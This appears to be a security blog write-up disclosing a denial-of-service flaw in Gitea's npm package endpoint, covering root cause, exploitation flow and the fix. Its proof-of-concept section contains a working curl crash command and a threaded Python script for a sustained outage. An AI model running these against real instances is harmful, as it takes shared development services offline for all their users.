CVE-2026-42931: DoS via Unbounded Request Body Read in Gitea’s npm Endpoint - Hakai
JOIN
JOIN
RESEARCH ENTRY 2026.08.14
Research Blog

CVE-2026-42931: DoS via Unbounded Request Body Read in Gitea’s npm Endpoint

Tricta
RESEARCHER Tricta
READ TIME8 MINUTES
PUBLISHED14 Aug 2026
CVE-2026-42931: DoS via Unbounded Request Body Read in Gitea’s npm Endpoint

Abstract

How much memory should a small request intended to change a package's tag consume?

Under normal conditions, just a few bytes. After all, the endpoint analyzed in this article expects to receive only a string containing the version of an NPM package, such as "1.0.0". However, during analysis of Gitea's Package Registry, a behavior was identified that allowed transforming this apparently harmless operation into a denial of service condition against the entire instance.

The application loaded the entire HTTP request body into memory before validating its content or verifying whether the specified package actually existed. Thus, the amount of memory allocated by the Gitea process could be indirectly controlled by a remote user.

Exploitation did not require administrative privileges, access to other users' packages, or victim interaction. An authenticated user only needed to send a sufficiently large body to an endpoint available in their own package namespace.

But what would happen if, instead of a small NPM version, the client sent hundreds of megabytes?

Depending on available memory and deployment architecture, a single request could terminate the Gitea process. Concurrent requests could also keep the application in a continuous cycle of terminations and restarts, affecting all repositories, packages, issues, integrations, and services hosted on the instance.

The vulnerability was reproduced on Gitea 1.26.2 and was present in the development code prior to the 1.27.0 release. The fix was made available in Gitea 1.27.0, released on July 12, 2026, and the flaw was assigned identifier CVE-2026-42931.


About Gitea

I'm aware that most readers of this blog probably already know Gitea or, at least, have encountered an instance during development, infrastructure administration, or pentesting activities. Nevertheless, a brief context helps to measure the impact of the vulnerability presented in this article.

Gitea is a self-hosted, open-source DevOps platform focused on hosting and managing Git repositories. Beyond traditional versioning operations, the platform offers code review, issue management, pull requests, projects, team collaboration, Package Registry, and CI/CD pipelines through Gitea Actions. The official documentation describes the product as a complete, self-contained development service, similar to platforms like GitHub, GitLab, and Bitbucket.

The application is predominantly developed in Go and can be deployed as a single binary, system service, or container. Docker installations frequently use databases such as PostgreSQL or MySQL and may be positioned behind reverse proxies like NGINX, Caddy, or Traefik.

The component relevant to this research is the Package Registry, specifically its NPM ecosystem-compatible implementation.

This feature allows users and organizations to publish packages directly to the Gitea instance and manage their versions and dist-tags. In the NPM ecosystem, a dist-tag works as an alias associated with a specific version, such as:

latest  -> 1.5.0
next    -> 2.0.0-beta.1
stable  -> 1.4.8

Instead of explicitly installing a version, a consumer can request a tag:

npm install package@latest

The API analyzed in this research was responsible precisely for creating or modifying this association.

By centralizing source code, packages, collaboration processes, and automations, the unavailability of a Gitea instance can exceed the impact of a simple web interface interruption. Depending on the organization's architecture, the incident can simultaneously affect development, dependency distribution, continuous integration pipelines, and deployment processes.


Technical Details

The root cause of CVE-2026-42931 was an unbounded read of the HTTP request body within the AddPackageTag function. The AddPackageTag function, located in routers/api/packages/npm/npm.go, was responsible for associating a dist-tag with a specific version of an NPM package. The request body should contain only the target version string, such as "1.0.0".

// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    body, err := io.ReadAll(ctx.Req.Body)  // NO SIZE LIMIT
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    version := strings.Trim(string(body), "\"")
    // ...
}

The io.ReadAll(ctx.Req.Body) call on line 336 read the entire request body into memory before any validation. There was no payload size verification, no configured limit, and no use of intermediate buffers with spill-to-disk.

The route was registered in routers/api/packages/api.go:

// routers/api/packages/api.go:430-436
r.Group("/-/package/{id}/dist-tags", func() {
    // ...
    r.Group("/{tag}", func() {
        r.Put("", npm.AddPackageTag)    // reqPackageAccess(perm.AccessModeWrite)
        r.Delete("", npm.DeletePackageTag)
    })
})

Why io.ReadAll() Causes Out-of-Memory

In Go, io.ReadAll() reads data from an io.Reader into a byte slice ([]byte) that grows dynamically. When the volume of received data exceeds available memory, the runtime attempts to allocate a larger backing array. This allocation fails and triggers an unrecoverable error:

runtime.throw("out of memory")

Unlike a catchable exception, this error terminates the entire process, not just the goroutine processing the request. The result is the immediate termination of the Gitea server.


Absence of Server Limits

Gitea implements size limits per package type through the LIMIT_SIZE_* configuration defined in modules/setting/packages.go. However, these limits were applied only during package uploads (UploadPackage), not in the tagging operation.

The mustBytes() function configured the default as unlimited when no value was specified:

// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
    const noLimit = "-1"
    value := section.Key(key).MustString(noLimit)  // default: "-1"
    if value == noLimit {
        return -1
    }
    // ...
}

Even if an administrator configured LIMIT_SIZE_NPM, the AddPackageTag endpoint did not consult this value. The read occurred before any verification.


HashedBuffer Was Not Used

For package uploads, Gitea uses HashedBuffer, which keeps up to 32 MiB in memory and transfers the excess to disk:

// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32 MiB — safe, with spill-to-disk

This mechanism protected the upload operation against excessive memory consumption. However, AddPackageTag did not use HashedBuffer. The function called io.ReadAll() directly, ignoring all protective infrastructure:

// npm.go:336 — ignores HashedBuffer
body, err := io.ReadAll(ctx.Req.Body)  // reads everything to RAM, no limit

Access Requirements

The AddPackageTag route required write permission on the package namespace through the reqPackageAccess(perm.AccessModeWrite) middleware. However, the check in services/context/package.go:155-157 automatically granted owner permission when the authenticated user matched the namespace owner:

// services/context/package.go:155-L157
if doer.ID == pkgOwner.ID {
    accessMode = perm.AccessModeOwner
}

In other words, any authenticated user had write access to their own package namespace. It was not necessary for the package to exist beforehand nor for the attacker to have access to third-party packages.

The critical point is the order of execution: the OOM occurred on line 336 (io.ReadAll), before the database query on line 343:

body, err := io.ReadAll(ctx.Req.Body)  // line 336 — OOM happens here
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...)  // line 343 — never executed

Exploitation Flow

The exploitation chain can be summarized as:

  1. Attacker creates an account on the Gitea instance (self-registration enabled by default) or obtains a low-privilege credential
  2. Attacker sends a PUT request to /api/packages/{their-username}/npm/-/package/{any}/dist-tags/{any}
  3. The request body contains hundreds of megabytes of arbitrary data
  4. AddPackageTag calls io.ReadAll() and attempts to allocate memory for the entire payload
  5. Allocation fails when it exceeds available memory
  6. The Go runtime terminates the process with runtime.throw("out of memory")
  7. All users of the instance lose access to repositories, packages, issues, and integrations

With concurrent requests, the attacker could keep the application in a continuous crash and restart cycle, even when automatic restart policies were configured.


Proof of Concept

Reproduction was performed in a Docker environment with memory limited to 512 MiB. This configuration simulates a real scenario where resources are finite and allows observing OOM behavior in a controlled manner.

Environment Setup

An equivalent environment can be created with Docker Compose:

services:
  gitea:
    image: gitea/gitea:1.26.2
    container_name: gitea-cve-2026-42931

    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__service__DISABLE_REGISTRATION=false

    ports:
      - "3000:3000"

    mem_limit: 512m

Initialization:

docker compose up -d

After starting the service:

  1. Access http://127.0.0.1:3000
  2. Complete the initial installation
  3. Create a regular user, for example user1 with password Password123!
  4. Confirm that the user can authenticate

Exploitation: Crash with a Single Request

The command below sends approximately 400 MiB of data (about 80% of the container's memory) to the vulnerable endpoint:

dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
  -X PUT \
  -H "Content-Type: application/json" \
  --data-binary @- \
  "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
  --max-time 120

The payload consists of null bytes (\x00). There is no need to construct a special payload, arbitrary data is sufficient, since the failure occurs during memory allocation, before any content processing.

The {owner} parameter in the URL must match the authenticated user's name. The package name (anything) and tag (latest) can be any valid string, since the OOM occurs before the package existence check.

Crash Verification

After sending the request, the server stops responding:

curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected result: connection refused (server is dead)

Exploitation: Persistent Denial of Service

Even with automatic restart policies (restart: always), concurrent requests can keep the server in a crash cycle. The Python script below demonstrates this scenario:

import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)   # 500 MiB
i = itertools.count(1)

def worker():
    s = requests.Session()
    while True:
        n = next(i)
        try:
            s.put(
                f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
                data=payload,
                auth=("user1", "A@12345678"),
                timeout=120
            )
        except Exception:
            pass

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()

With 20 threads sending requests continuously, the server enters a cycle where each restart is followed by a new OOM before it can process legitimate requests.


Impact

The primary impact of CVE-2026-42931 is the complete loss of Gitea instance availability:

  • A single request is sufficient to bring down the server
  • The payload is trivial: null bytes work, no need for compression or special formatting
  • Concurrent requests keep the service unavailable even with automatic restart
  • Bandwidth cost is low — the attacker sends approximately 80% of the server's available memory (e.g., ~400 MiB for a 512 MiB instance)
  • The attack does not depend on actions from other users or administrators

Who Is Affected

  • All instances with Package Registry enabled: the feature is active by default
  • Any authenticated user can exploit: no administrative privileges required
  • Self-registration expands the attack surface: with open registration (default), an unauthenticated attacker can create an account and immediately execute the attack
  • All instance services become unavailable: repositories, packages, issues, pull requests, Gitea Actions, and integrations

Fix

The fix was implemented in Pull Request #38406 (commit f69e15a) and made available in Gitea 1.27.0.

What Changed

The io.ReadAll() call was replaced with a limited read using io.LimitReader():

// routers/api/packages/npm/npm.go:333-L341 — fixed version
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    const maxBodySize = 4 * 1024  // 4 KiB
    body, err := io.ReadAll(io.LimitReader(ctx.Req.Body, maxBodySize))
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    // ...
}

Why the Fix Works

io.LimitReader() wraps the original io.Reader and limits the number of bytes that can be read. When the limit is reached, subsequent reads return io.EOF, preventing io.ReadAll() from continuing to allocate memory.

The 4 KiB (4,096 bytes) limit is appropriate for the legitimate use case. A semantic version string like "1.0.0-beta.1+build.12345" rarely exceeds a few dozen bytes. The new limit provides ample margin for valid versions while blocking malicious payloads.

With this change, even if an attacker sends gigabytes of data, the server will allocate at most 4 KiB in memory before ending the read.

Administrators should update to Gitea 1.27.0 or higher as soon as possible. The update can be performed through official channels:

# Docker
docker pull gitea/gitea:1.27.0

# Binary
wget https://dl.gitea.com/gitea/1.27.0/gitea-1.27.0-linux-amd64
chmod +x gitea-1.27.0-linux-amd64
# Replace existing binary and restart the service

Conclusion

The unbounded HTTP body read vulnerability in Gitea represents a significant risk for organizations that depend on this solution for code hosting and development automation. The ability to bring down the entire instance with a single authenticated request demonstrates how flaws in seemingly trivial operations can compromise critical infrastructure.

The compromise of a centralized DevOps platform has implications beyond simple unavailability. CI/CD pipelines stop. Deploys fail. Developers lose access to source code. Dependencies hosted in the Package Registry become inaccessible to all projects that consume them. In environments where Gitea is a central piece of infrastructure, the impact propagates throughout the entire development chain.

This publication alerts the technical community about the security implications of using io.ReadAll() without limits in Go web servers, and reinforces the importance of size validation in all operations that process external data.

I thank the Gitea team for their professionalism and transparent communication during the coordinated disclosure process.


References